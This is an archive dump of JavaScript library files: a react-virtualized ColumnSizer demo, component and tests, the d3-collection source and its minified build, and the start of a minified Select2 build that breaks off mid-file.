      }), React.createElement(ContentBoxParagraph, null, "This component decorates a ", React.createElement("code", null, "Grid"), " and calculates the width of its columns based on the current (", React.createElement("code", null, "Grid"), ") width."), React.createElement(InputRow, null, React.createElement(LabeledInput, {
        label: "Num Columns",
        name: "columnCount",
        onChange: this._onColumnCountChange,
        value: columnCount
      }), React.createElement(LabeledInput, {
        label: "Column Min Width",
        name: "columnMinWidth",
        onChange: this._noColumnMinWidthChange,
        value: columnMinWidth
      }), React.createElement(LabeledInput, {
        label: "Column Max Width",
        name: "columnMaxWidth",
        onChange: this._noColumnMaxWidthChange,
        value: columnMaxWidth
      })), React.createElement("div", null, React.createElement(AutoSizer, {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement(ColumnSizer, {
          columnMaxWidth: columnMaxWidth,
          columnMinWidth: columnMinWidth,
          columnCount: columnCount,
          key: "GridColumnSizer",
          width: width
        }, function (_ref2) {
          var adjustedWidth = _ref2.adjustedWidth,
              columnWidth = _ref2.columnWidth,
              registerChild = _ref2.registerChild;
          return React.createElement("div", {
            className: styles.GridContainer,
            style: {
              height: 50,
              width: adjustedWidth
            }
          }, React.createElement(Grid, {
            ref: registerChild,
            columnWidth: columnWidth,
            columnCount: columnCount,
            height: 50,
            noContentRenderer: _this2._noContentRenderer,
            cellRenderer: _this2._cellRenderer,
            rowHeight: 50,
            rowCount: 1,
            width: adjustedWidth
          }));
        });
      })));
    }
  }, {
    key: "_noColumnMaxWidthChange",
    value: function _noColumnMaxWidthChange(event) {
      var columnMaxWidth = parseInt(event.target.value, 10);

      if (isNaN(columnMaxWidth)) {
        columnMaxWidth = undefined;
      } else {
        columnMaxWidth = Math.min(1000, columnMaxWidth);
      }

      this.setState({
        columnMaxWidth: columnMaxWidth
      });
    }
  }, {
    key: "_noColumnMinWidthChange",
    value: function _noColumnMinWidthChange(event) {
      var columnMinWidth = parseInt(event.target.value, 10);

      if (isNaN(columnMinWidth)) {
        columnMinWidth = undefined;
      } else {
        columnMinWidth = Math.max(1, columnMinWidth);
      }

      this.setState({
        columnMinWidth: columnMinWidth
      });
    }
  }, {
    key: "_onColumnCountChange",
    value: function _onColumnCountChange(event) {
      this.setState({
        columnCount: parseInt(event.target.value, 10) || 0
      });
    }
  }, {
    key: "_noContentRenderer",
    value: function _noContentRenderer() {
      return React.createElement("div", {
        className: styles.noCells
      }, "No cells");
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref3) {
      var columnIndex = _ref3.columnIndex,
          key = _ref3.key,
          rowIndex = _ref3.rowIndex,
          style = _ref3.style;
      var className = columnIndex === 0 ? styles.firstCell : styles.cell;
      return React.createElement("div", {
        className: className,
        key: key,
        style: style
      }, "R:".concat(rowIndex, ", C:").concat(columnIndex));
    }
  }]);

  return ColumnSizerExample;
}(React.PureComponent);

export { ColumnSizerExample as default };es/ColumnSizer/index.js000064400000000134151677406010011077 0ustar00import ColumnSizer from './ColumnSizer';
export default ColumnSizer;
export { ColumnSizer };es/ColumnSizer/ColumnSizer.js000064400000010000151677406010012233 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import PropTypes from 'prop-types';
import * as React from 'react';
/**
 * High-order component that auto-calculates column-widths for `Grid` cells.
 */

var ColumnSizer =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(ColumnSizer, _React$PureComponent);

  function ColumnSizer(props, context) {
    var _this;

    _classCallCheck(this, ColumnSizer);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(ColumnSizer).call(this, props, context));
    _this._registerChild = _this._registerChild.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(ColumnSizer, [{
    key: "componentDidUpdate",
    value: function componentDidUpdate(prevProps) {
      var _this$props = this.props,
          columnMaxWidth = _this$props.columnMaxWidth,
          columnMinWidth = _this$props.columnMinWidth,
          columnCount = _this$props.columnCount,
          width = _this$props.width;

      if (columnMaxWidth !== prevProps.columnMaxWidth || columnMinWidth !== prevProps.columnMinWidth || columnCount !== prevProps.columnCount || width !== prevProps.width) {
        if (this._registeredChild) {
          this._registeredChild.recomputeGridSize();
        }
      }
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props2 = this.props,
          children = _this$props2.children,
          columnMaxWidth = _this$props2.columnMaxWidth,
          columnMinWidth = _this$props2.columnMinWidth,
          columnCount = _this$props2.columnCount,
          width = _this$props2.width;
      var safeColumnMinWidth = columnMinWidth || 1;
      var safeColumnMaxWidth = columnMaxWidth ? Math.min(columnMaxWidth, width) : width;
      var columnWidth = width / columnCount;
      columnWidth = Math.max(safeColumnMinWidth, columnWidth);
      columnWidth = Math.min(safeColumnMaxWidth, columnWidth);
      columnWidth = Math.floor(columnWidth);
      var adjustedWidth = Math.min(width, columnWidth * columnCount);
      return children({
        adjustedWidth: adjustedWidth,
        columnWidth: columnWidth,
        getColumnWidth: function getColumnWidth() {
          return columnWidth;
        },
        registerChild: this._registerChild
      });
    }
  }, {
    key: "_registerChild",
    value: function _registerChild(child) {
      if (child && typeof child.recomputeGridSize !== 'function') {
        throw Error('Unexpected child type registered; only Grid/MultiGrid children are supported.');
      }

      this._registeredChild = child;

      if (this._registeredChild) {
        this._registeredChild.recomputeGridSize();
      }
    }
  }]);

  return ColumnSizer;
}(React.PureComponent);

export { ColumnSizer as default };
ColumnSizer.propTypes = process.env.NODE_ENV !== "production" ? {
  /**
   * Function responsible for rendering a virtualized Grid.
   * This function should implement the following signature:
   * ({ adjustedWidth, getColumnWidth, registerChild }) => PropTypes.element
   *
   * The specified :getColumnWidth function should be passed to the Grid's :columnWidth property.
   * The :registerChild should be passed to the Grid's :ref property.
   * The :adjustedWidth property is optional; it reflects the lesser of the overall width or the width of all columns.
   */
  children: PropTypes.func.isRequired,

  /** Optional maximum allowed column width */
  columnMaxWidth: PropTypes.number,

  /** Optional minimum allowed column width */
  columnMinWidth: PropTypes.number,

  /** Number of columns in Grid or Table child */
  columnCount: PropTypes.number.isRequired,

  /** Width of Grid or Table child */
  width: PropTypes.number.isRequired
} : {};es/ColumnSizer/ColumnSizer.jest.js000064400000011352151677406010013212 0ustar00import * as React from 'react';
import { findDOMNode } from 'react-dom';
import { render } from '../TestUtils';
import ColumnSizer from './ColumnSizer';
import Grid from '../Grid';
describe('ColumnSizer', function () {
  function getMarkup() {
    var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref$columnMinWidth = _ref.columnMinWidth,
        columnMinWidth = _ref$columnMinWidth === void 0 ? undefined : _ref$columnMinWidth,
        _ref$columnMaxWidth = _ref.columnMaxWidth,
        columnMaxWidth = _ref$columnMaxWidth === void 0 ? undefined : _ref$columnMaxWidth,
        _ref$columnCount = _ref.columnCount,
        columnCount = _ref$columnCount === void 0 ? 10 : _ref$columnCount,
        _ref$width = _ref.width,
        width = _ref$width === void 0 ? 200 : _ref$width;

    function cellRenderer(_ref2) {
      var columnIndex = _ref2.columnIndex,
          key = _ref2.key,
          rowIndex = _ref2.rowIndex,
          style = _ref2.style;
      return React.createElement("div", {
        className: "gridItem",
        key: key,
        style: style
      }, "row:".concat(rowIndex, ", column:").concat(columnIndex));
    }

    return React.createElement(ColumnSizer, {
      columnMinWidth: columnMinWidth,
      columnMaxWidth: columnMaxWidth,
      columnCount: columnCount,
      width: width
    }, function (_ref3) {
      var adjustedWidth = _ref3.adjustedWidth,
          columnWidth = _ref3.columnWidth,
          registerChild = _ref3.registerChild;
      return React.createElement("div", null, React.createElement(Grid, {
        columnCount: columnCount,
        columnWidth: columnWidth,
        height: 50,
        ref: registerChild,
        cellRenderer: cellRenderer,
        rowHeight: 50,
        rowCount: 1,
        width: adjustedWidth
      }), React.createElement("div", {
        className: "debug"
      }, "adjustedWidth:".concat(adjustedWidth, " columnWidth:").concat(columnWidth)));
    });
  }

  it('should distribute column widths evenly if no min/max boundaries have been set', function () {
    var rendered = findDOMNode(render(getMarkup()));
    expect(rendered.querySelector('.debug').textContent).toContain('columnWidth:20');
  });
  it('should respect :columnMaxWidth if specified', function () {
    var rendered = findDOMNode(render(getMarkup({
      columnMaxWidth: 10
    })));
    expect(rendered.querySelector('.debug').textContent).toContain('columnWidth:10');
  });
  it('should respect :columnMinWidth if specified', function () {
    var rendered = findDOMNode(render(getMarkup({
      columnMinWidth: 30
    })));
    expect(rendered.querySelector('.debug').textContent).toContain('columnWidth:30');
  });
  describe('recomputeGridSize', function () {
    function helper(updatedProps, expectedTextContent) {
      var renderedA = findDOMNode(render(getMarkup()));
      expect(renderedA.querySelector('.debug').textContent).toContain('columnWidth:20');
      var renderedB = findDOMNode(render(getMarkup(updatedProps)));
      expect(renderedB.querySelector('.debug').textContent).toContain(expectedTextContent);
    }

    it('should recompute metadata sizes if :columnMinWidth changes', function () {
      helper({
        columnMinWidth: 30
      }, 'columnWidth:30');
    });
    it('should recompute metadata sizes if :columnMaxWidth changes', function () {
      helper({
        columnMaxWidth: 15
      }, 'columnWidth:15');
    });
    it('should recompute metadata sizes if :width changes', function () {
      helper({
        width: 300
      }, 'columnWidth:30');
    });
    it('should recompute metadata sizes if :columnCount changes', function () {
      helper({
        columnCount: 2
      }, 'columnWidth:100');
    });
  });
  it('should pass the :width as :adjustedWidth if columns require more than the :width to be displayed', function () {
    var rendered = findDOMNode(render(getMarkup({
      columnMinWidth: 30
    })));
    expect(rendered.querySelector('.debug').textContent).toContain('adjustedWidth:200');
  });
  it('should pass an :adjustedWidth if columns require less than the :width to be displayed', function () {
    var rendered = findDOMNode(render(getMarkup({
      columnMaxWidth: 10
    })));
    expect(rendered.querySelector('.debug').textContent).toContain('adjustedWidth:100');
  });
  it('should error if the registered child is not a Grid or a MultiGrid', function () {
    spyOn(console, 'error');
    expect(function () {
      render(React.createElement(ColumnSizer, {
        columnMinWidth: 100,
        columnMaxWidth: 100,
        columnCount: 100,
        width: 100
      }, function (_ref4) {
        var registerChild = _ref4.registerChild;
        return React.createElement("div", {
          ref: registerChild
        });
      }));
    }).toThrow();
  });
});d3-collection.js000064400000013241151677407370007563 0ustar00// https://d3js.org/d3-collection/ v1.0.7 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define(['exports'], factory) :
(factory((global.d3 = global.d3 || {})));
}(this, (function (exports) { 'use strict';

var prefix = "$";

function Map() {}

Map.prototype = map.prototype = {
  constructor: Map,
  has: function(key) {
    return (prefix + key) in this;
  },
  get: function(key) {
    return this[prefix + key];
  },
  set: function(key, value) {
    this[prefix + key] = value;
    return this;
  },
  remove: function(key) {
    var property = prefix + key;
    return property in this && delete this[property];
  },
  clear: function() {
    for (var property in this) if (property[0] === prefix) delete this[property];
  },
  keys: function() {
    var keys = [];
    for (var property in this) if (property[0] === prefix) keys.push(property.slice(1));
    return keys;
  },
  values: function() {
    var values = [];
    for (var property in this) if (property[0] === prefix) values.push(this[property]);
    return values;
  },
  entries: function() {
    var entries = [];
    for (var property in this) if (property[0] === prefix) entries.push({key: property.slice(1), value: this[property]});
    return entries;
  },
  size: function() {
    var size = 0;
    for (var property in this) if (property[0] === prefix) ++size;
    return size;
  },
  empty: function() {
    for (var property in this) if (property[0] === prefix) return false;
    return true;
  },
  each: function(f) {
    for (var property in this) if (property[0] === prefix) f(this[property], property.slice(1), this);
  }
};

function map(object, f) {
  var map = new Map;

  // Copy constructor.
  if (object instanceof Map) object.each(function(value, key) { map.set(key, value); });

  // Index array by numeric index or specified key function.
  else if (Array.isArray(object)) {
    var i = -1,
        n = object.length,
        o;

    if (f == null) while (++i < n) map.set(i, object[i]);
    else while (++i < n) map.set(f(o = object[i], i, object), o);
  }

  // Convert object to map.
  else if (object) for (var key in object) map.set(key, object[key]);

  return map;
}

function nest() {
  var keys = [],
      sortKeys = [],
      sortValues,
      rollup,
      nest;

  function apply(array, depth, createResult, setResult) {
    if (depth >= keys.length) {
      if (sortValues != null) array.sort(sortValues);
      return rollup != null ? rollup(array) : array;
    }

    var i = -1,
        n = array.length,
        key = keys[depth++],
        keyValue,
        value,
        valuesByKey = map(),
        values,
        result = createResult();

    while (++i < n) {
      if (values = valuesByKey.get(keyValue = key(value = array[i]) + "")) {
        values.push(value);
      } else {
        valuesByKey.set(keyValue, [value]);
      }
    }

    valuesByKey.each(function(values, key) {
      setResult(result, key, apply(values, depth, createResult, setResult));
    });

    return result;
  }

  function entries(map$$1, depth) {
    if (++depth > keys.length) return map$$1;
    var array, sortKey = sortKeys[depth - 1];
    if (rollup != null && depth >= keys.length) array = map$$1.entries();
    else array = [], map$$1.each(function(v, k) { array.push({key: k, values: entries(v, depth)}); });
    return sortKey != null ? array.sort(function(a, b) { return sortKey(a.key, b.key); }) : array;
  }

  return nest = {
    object: function(array) { return apply(array, 0, createObject, setObject); },
    map: function(array) { return apply(array, 0, createMap, setMap); },
    entries: function(array) { return entries(apply(array, 0, createMap, setMap), 0); },
    key: function(d) { keys.push(d); return nest; },
    sortKeys: function(order) { sortKeys[keys.length - 1] = order; return nest; },
    sortValues: function(order) { sortValues = order; return nest; },
    rollup: function(f) { rollup = f; return nest; }
  };
}

function createObject() {
  return {};
}

function setObject(object, key, value) {
  object[key] = value;
}

function createMap() {
  return map();
}

function setMap(map$$1, key, value) {
  map$$1.set(key, value);
}

function Set() {}

var proto = map.prototype;

Set.prototype = set.prototype = {
  constructor: Set,
  has: proto.has,
  add: function(value) {
    value += "";
    this[prefix + value] = value;
    return this;
  },
  remove: proto.remove,
  clear: proto.clear,
  values: proto.keys,
  size: proto.size,
  empty: proto.empty,
  each: proto.each
};

function set(object, f) {
  var set = new Set;

  // Copy constructor.
  if (object instanceof Set) object.each(function(value) { set.add(value); });

  // Otherwise, assume it’s an array.
  else if (object) {
    var i = -1, n = object.length;
    if (f == null) while (++i < n) set.add(object[i]);
    else while (++i < n) set.add(f(object[i], i, object));
  }

  return set;
}

function keys(map) {
  var keys = [];
  for (var key in map) keys.push(key);
  return keys;
}

function values(map) {
  var values = [];
  for (var key in map) values.push(map[key]);
  return values;
}

function entries(map) {
  var entries = [];
  for (var key in map) entries.push({key: key, value: map[key]});
  return entries;
}

exports.nest = nest;
exports.set = set;
exports.map = map;
exports.keys = keys;
exports.values = values;
exports.entries = entries;

Object.defineProperty(exports, '__esModule', { value: true });

})));
d3-collection.min.js000064400000005434151677407370010352 0ustar00// https://d3js.org/d3-collection/ v1.0.7 Copyright 2018 Mike Bostock
!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t(n.d3=n.d3||{})}(this,function(n){"use strict";function t(){}function e(n,e){var r=new t;if(n instanceof t)n.each(function(n,t){r.set(t,n)});else if(Array.isArray(n)){var i,u=-1,o=n.length;if(null==e)for(;++u<o;)r.set(u,n[u]);else for(;++u<o;)r.set(e(i=n[u],u,n),i)}else if(n)for(var s in n)r.set(s,n[s]);return r}function r(){return{}}function i(n,t,e){n[t]=e}function u(){return e()}function o(n,t,e){n.set(t,e)}function s(){}t.prototype=e.prototype={constructor:t,has:function(n){return"$"+n in this},get:function(n){return this["$"+n]},set:function(n,t){return this["$"+n]=t,this},remove:function(n){var t="$"+n;return t in this&&delete this[t]},clear:function(){for(var n in this)"$"===n[0]&&delete this[n]},keys:function(){var n=[];for(var t in this)"$"===t[0]&&n.push(t.slice(1));return n},values:function(){var n=[];for(var t in this)"$"===t[0]&&n.push(this[t]);return n},entries:function(){var n=[];for(var t in this)"$"===t[0]&&n.push({key:t.slice(1),value:this[t]});return n},size:function(){var n=0;for(var t in this)"$"===t[0]&&++n;return n},empty:function(){for(var n in this)if("$"===n[0])return!1;return!0},each:function(n){for(var t in this)"$"===t[0]&&n(this[t],t.slice(1),this)}};var f=e.prototype;function c(n,t){var e=new s;if(n instanceof s)n.each(function(n){e.add(n)});else if(n){var r=-1,i=n.length;if(null==t)for(;++r<i;)e.add(n[r]);else for(;++r<i;)e.add(t(n[r],r,n))}return e}s.prototype=c.prototype={constructor:s,has:f.has,add:function(n){return this["$"+(n+="")]=n,this},remove:f.remove,clear:f.clear,values:f.keys,size:f.size,empty:f.empty,each:f.each},n.nest=function(){var n,t,s,f=[],c=[];function a(r,i,u,o){if(i>=f.length)return null!=n&&r.sort(n),null!=t?t(r):r;for(var s,c,h,l=-1,v=r.length,p=f[i++],y=e(),d=u();++l<v;)(h=y.get(s=p(c=r[l])+""))?h.push(c):y.set(s,[c]);return y.each(function(n,t){o(d,t,a(n,i,u,o))}),d}return s={object:function(n){return a(n,0,r,i)},map:function(n){return a(n,0,u,o)},entries:function(n){return function n(e,r){if(++r>f.length)return e;var i,u=c[r-1];return null!=t&&r>=f.length?i=e.entries():(i=[],e.each(function(t,e){i.push({key:e,values:n(t,r)})})),null!=u?i.sort(function(n,t){return u(n.key,t.key)}):i}(a(n,0,u,o),0)},key:function(n){return f.push(n),s},sortKeys:function(n){return c[f.length-1]=n,s},sortValues:function(t){return n=t,s},rollup:function(n){return t=n,s}}},n.set=c,n.map=e,n.keys=function(n){var t=[];for(var e in n)t.push(e);return t},n.values=function(n){var t=[];for(var e in n)t.push(n[e]);return t},n.entries=function(n){var t=[];for(var e in n)t.push({key:e,value:n[e]});return t},Object.defineProperty(n,"__esModule",{value:!0})});
js/select2.min.js000064400000204544151677410160007662 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=function(b,c){return void 0===c&&(c="undefined"!=typeof window?require("jquery"):require("jquery")(b)),a(c),c}:a(jQuery)}(function(a){var b=function(){if(a&&a.fn&&a.fn.select2&&a.fn.select2.amd)var b=a.fn.select2.amd;var b;return function(){if(!b||!b.requirejs){b?c=b:b={};var a,c,d;!function(b){function e(a,b){return v.call(a,b)}function f(a,b){var c,d,e,f,g,h,i,j,k,l,m,n,o=b&&b.split("/"),p=t.map,q=p&&p["*"]||{};if(a){for(a=a.split("/"),g=a.length-1,t.nodeIdCompat&&x.test(a[g])&&(a[g]=a[g].replace(x,"")),"."===a[0].charAt(0)&&o&&(n=o.slice(0,o.length-1),a=n.concat(a)),k=0;k<a.length;k++)if("."===(m=a[k]))a.splice(k,1),k-=1;else if(".."===m){if(0===k||1===k&&".."===a[2]||".."===a[k-1])continue;k>0&&(a.splice(k-1,2),k-=2)}a=a.join("/")}if((o||q)&&p){for(c=a.split("/"),k=c.length;k>0;k-=1){if(d=c.slice(0,k).join("/"),o)for(l=o.length;l>0;l-=1)if((e=p[o.slice(0,l).join("/")])&&(e=e[d])){f=e,h=k;break}if(f)break;!i&&q&&q[d]&&(i=q[d],j=k)}!f&&i&&(f=i,h=j),f&&(c.splice(0,h,f),a=c.join("/"))}return a}function g(a,c){return function(){var d=w.call(arguments,0);return"string"!=typeof d[0]&&1===d.length&&d.push(null),o.apply(b,d.concat([a,c]))}}function h(a){return function(b){return f(b,a)}}function i(a){return function(b){r[a]=b}}function j(a){if(e(s,a)){var c=s[a];delete s[a],u[a]=!0,n.apply(b,c)}if(!e(r,a)&&!e(u,a))throw new Error("No "+a);return r[a]}function k(a){var b,c=a?a.indexOf("!"):-1;return c>-1&&(b=a.substring(0,c),a=a.substring(c+1,a.length)),[b,a]}function l(a){return a?k(a):[]}function m(a){return function(){return t&&t.config&&t.config[a]||{}}}var n,o,p,q,r={},s={},t={},u={},v=Object.prototype.hasOwnProperty,w=[].slice,x=/\.js$/;p=function(a,b){var c,d=k(a),e=d[0],g=b[1];return a=d[1],e&&(e=f(e,g),c=j(e)),e?a=c&&c.normalize?c.normalize(a,h(g)):f(a,g):(a=f(a,g),d=k(a),e=d[0],a=d[1],e&&(c=j(e))),{f:e?e+"!"+a:a,n:a,pr:e,p:c}},q={require:function(a){return g(a)},exports:function(a){var b=r[a];return void 0!==b?b:r[a]={}},module:function(a){return{id:a,uri:"",exports:r[a],config:m(a)}}},n=function(a,c,d,f){var h,k,m,n,o,t,v,w=[],x=typeof d;if(f=f||a,t=l(f),"undefined"===x||"function"===x){for(c=!c.length&&d.length?["require","exports","module"]:c,o=0;o<c.length;o+=1)if(n=p(c[o],t),"require"===(k=n.f))w[o]=q.require(a);else if("exports"===k)w[o]=q.exports(a),v=!0;else if("module"===k)h=w[o]=q.module(a);else if(e(r,k)||e(s,k)||e(u,k))w[o]=j(k);else{if(!n.p)throw new Error(a+" missing "+k);n.p.load(n.n,g(f,!0),i(k),{}),w[o]=r[k]}m=d?d.apply(r[a],w):void 0,a&&(h&&h.exports!==b&&h.exports!==r[a]?r[a]=h.exports:m===b&&v||(r[a]=m))}else a&&(r[a]=d)},a=c=o=function(a,c,d,e,f){if("string"==typeof a)return q[a]?q[a](c):j(p(a,l(c)).f);if(!a.splice){if(t=a,t.deps&&o(t.deps,t.callback),!c)return;c.splice?(a=c,c=d,d=null):a=b}return c=c||function(){},"function"==typeof d&&(d=e,e=f),e?n(b,a,c,d):setTimeout(function(){n(b,a,c,d)},4),o},o.config=function(a){return o(a)},a._defined=r,d=function(a,b,c){if("string"!=typeof a)throw new Error("See almond README: incorrect module build, no module name");b.splice||(c=b,b=[]),e(r,a)||e(s,a)||(s[a]=[a,b,c])},d.amd={jQuery:!0}}(),b.requirejs=a,b.require=c,b.define=d}}(),b.define("almond",function(){}),b.define("jquery",[],function(){var b=a||$;return null==b&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),b}),b.define("select2/utils",["jquery"],function(a){function b(a){var b=a.prototype,c=[];for(var d in b){"function"==typeof b[d]&&("constructor"!==d&&c.push(d))}return c}var c={};c.Extend=function(a,b){function c(){this.constructor=a}var d={}.hasOwnProperty;for(var e in b)d.call(b,e)&&(a[e]=b[e]);return c.prototype=b.prototype,a.prototype=new c,a.__super__=b.prototype,a},c.Decorate=function(a,c){function d(){var b=Array.prototype.unshift,d=c.prototype.constructor.length,e=a.prototype.constructor;d>0&&(b.call(arguments,a.prototype.constructor),e=c.prototype.constructor),e.apply(this,arguments)}function e(){this.constructor=d}var f=b(c),g=b(a);c.displayName=a.displayName,d.prototype=new e;for(var h=0;h<g.length;h++){var i=g[h];d.prototype[i]=a.prototype[i]}for(var j=(function(a){var b=function(){};a in d.prototype&&(b=d.prototype[a]);var e=c.prototype[a];return function(){return Array.prototype.unshift.call(arguments,b),e.apply(this,arguments)}}),k=0;k<f.length;k++){var l=f[k];d.prototype[l]=j(l)}return d};var d=function(){this.listeners={}};d.prototype.on=function(a,b){this.listeners=this.listeners||{},a in this.listeners?this.listeners[a].push(b):this.listeners[a]=[b]},d.prototype.trigger=function(a){var b=Array.prototype.slice,c=b.call(arguments,1);this.listeners=this.listeners||{},null==c&&(c=[]),0===c.length&&c.push({}),c[0]._type=a,a in this.listeners&&this.invoke(this.listeners[a],b.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},d.prototype.invoke=function(a,b){for(var c=0,d=a.length;c<d;c++)a[c].apply(this,b)},c.Observable=d,c.generateChars=function(a){for(var b="",c=0;c<a;c++){b+=Math.floor(36*Math.random()).toString(36)}return b},c.bind=function(a,b){return function(){a.apply(b,arguments)}},c._convertData=function(a){for(var b in a){var c=b.split("-"),d=a;if(1!==c.length){for(var e=0;e<c.length;e++){var f=c[e];f=f.substring(0,1).toLowerCase()+f.substring(1),f in d||(d[f]={}),e==c.length-1&&(d[f]=a[b]),d=d[f]}delete a[b]}}return a},c.hasScroll=function(b,c){var d=a(c),e=c.style.overflowX,f=c.style.overflowY;return(e!==f||"hidden"!==f&&"visible"!==f)&&("scroll"===e||"scroll"===f||(d.innerHeight()<c.scrollHeight||d.innerWidth()<c.scrollWidth))},c.escapeMarkup=function(a){var b={"\\":"&#92;","&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#47;"};return"string"!=typeof a?a:String(a).replace(/[&<>"'\/\\]/g,function(a){return b[a]})},c.appendMany=function(b,c){if("1.7"===a.fn.jquery.substr(0,3)){var d=a();a.map(c,function(a){d=d.add(a)}),c=d}b.append(c)},c.__cache={};var e=0;return c.GetUniqueElementId=function(a){var b=a.getAttribute("data-select2-id");return null==b&&(a.id?(b=a.id,a.setAttribute("data-select2-id",b)):(a.setAttribute("data-select2-id",++e),b=e.toString())),b},c.StoreData=function(a,b,d){var e=c.GetUniqueElementId(a);c.__cache[e]||(c.__cache[e]={}),c.__cache[e][b]=d},c.GetData=function(b,d){var e=c.GetUniqueElementId(b);return d?c.__cache[e]&&null!=c.__cache[e][d]?c.__cache[e][d]:a(b).data(d):c.__cache[e]},c.RemoveData=function(a){var b=c.GetUniqueElementId(a);null!=c.__cache[b]&&delete c.__cache[b]},c}),b.define("select2/results",["jquery","./utils"],function(a,b){function c(a,b,d){this.$element=a,this.data=d,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('<ul class="select2-results__options" role="tree"></ul>');return this.options.get("multiple")&&b.attr("aria-multiselectable","true"),this.$results=b,b},c.prototype.clear=function(){this.$results.empty()},c.prototype.displayMessage=function(b){var c=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var d=a('<li role="treeitem" aria-live="assertive" class="select2-results__option"></li>'),e=this.options.get("translations").get(b.message);d.append(c(e(b.args))),d[0].className+=" select2-results__message",this.$results.append(d)},c.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},c.prototype.append=function(a){this.hideLoading();var b=[];if(null==a.results||0===a.results.length)return void(0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"}));a.results=this.sort(a.results);for(var c=0;c<a.results.length;c++){var d=a.results[c],e=this.option(d);b.push(e)}this.$results.append(b)},c.prototype.position=function(a,b){b.find(".select2-results").append(a)},c.prototype.sort=function(a){return this.options.get("sorter")(a)},c.prototype.highlightFirstItem=function(){var a=this.$results.find(".select2-results__option[aria-selected]"),b=a.filter("[aria-selected=true]");b.length>0?b.first().trigger("mouseenter"):a.first().trigger("mouseenter"),this.ensureHighlightVisible()},c.prototype.setClasses=function(){var c=this;this.data.current(function(d){var e=a.map(d,function(a){return a.id.toString()});c.$results.find(".select2-results__option[aria-selected]").each(function(){var c=a(this),d=b.GetData(this,"data"),f=""+d.id;null!=d.element&&d.element.selected||null==d.element&&a.inArray(f,e)>-1?c.attr("aria-selected","true"):c.attr("aria-selected","false")})})},c.prototype.showLoading=function(a){this.hideLoading();var b=this.options.get("translations").get("searching"),c={disabled:!0,loading:!0,text:b(a)},d=this.option(c);d.className+=" loading-results",this.$results.prepend(d)},c.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},c.prototype.option=function(c){var d=document.createElement("li");d.className="select2-results__option";var e={role:"treeitem","aria-selected":"false"};c.disabled&&(delete e["aria-selected"],e["aria-disabled"]="true"),null==c.id&&delete e["aria-selected"],null!=c._resultId&&(d.id=c._resultId),c.title&&(d.title=c.title),c.children&&(e.role="group",e["aria-label"]=c.text,delete e["aria-selected"]);for(var f in e){var g=e[f];d.setAttribute(f,g)}if(c.children){var h=a(d),i=document.createElement("strong");i.className="select2-results__group";a(i);this.template(c,i);for(var j=[],k=0;k<c.children.length;k++){var l=c.children[k],m=this.option(l);j.push(m)}var n=a("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});n.append(j),h.append(i),h.append(n)}else this.template(c,d);return b.StoreData(d,"data",c),d},c.prototype.bind=function(c,d){var e=this,f=c.id+"-results";this.$results.attr("id",f),c.on("results:all",function(a){e.clear(),e.append(a.data),c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("results:append",function(a){e.append(a.data),c.isOpen()&&e.setClasses()}),c.on("query",function(a){e.hideMessages(),e.showLoading(a)}),c.on("select",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("unselect",function(){c.isOpen()&&(e.setClasses(),e.highlightFirstItem())}),c.on("open",function(){e.$results.attr("aria-expanded","true"),e.$results.attr("aria-hidden","false"),e.setClasses(),e.ensureHighlightVisible()}),c.on("close",function(){e.$results.attr("aria-expanded","false"),e.$results.attr("aria-hidden","true"),e.$results.removeAttr("aria-activedescendant")}),c.on("results:toggle",function(){var a=e.getHighlightedResults();0!==a.length&&a.trigger("mouseup")}),c.on("results:select",function(){var a=e.getHighlightedResults();if(0!==a.length){var c=b.GetData(a[0],"data");"true"==a.attr("aria-selected")?e.trigger("close",{}):e.trigger("select",{data:c})}}),c.on("results:previous",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a);if(!(c<=0)){var d=c-1;0===a.length&&(d=0);var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top,h=f.offset().top,i=e.$results.scrollTop()+(h-g);0===d?e.$results.scrollTop(0):h-g<0&&e.$results.scrollTop(i)}}),c.on("results:next",function(){var a=e.getHighlightedResults(),b=e.$results.find("[aria-selected]"),c=b.index(a),d=c+1;if(!(d>=b.length)){var f=b.eq(d);f.trigger("mouseenter");var g=e.$results.offset().top+e.$results.outerHeight(!1),h=f.offset().top+f.outerHeight(!1),i=e.$results.scrollTop()+h-g;0===d?e.$results.scrollTop(0):h>g&&e.$results.scrollTop(i)}}),c.on("results:focus",function(a){a.element.addClass("select2-results__option--highlighted")}),c.on("results:message",function(a){e.displayMessage(a)}),a.fn.mousewheel&&this.$results.on("mousewheel",function(a){var 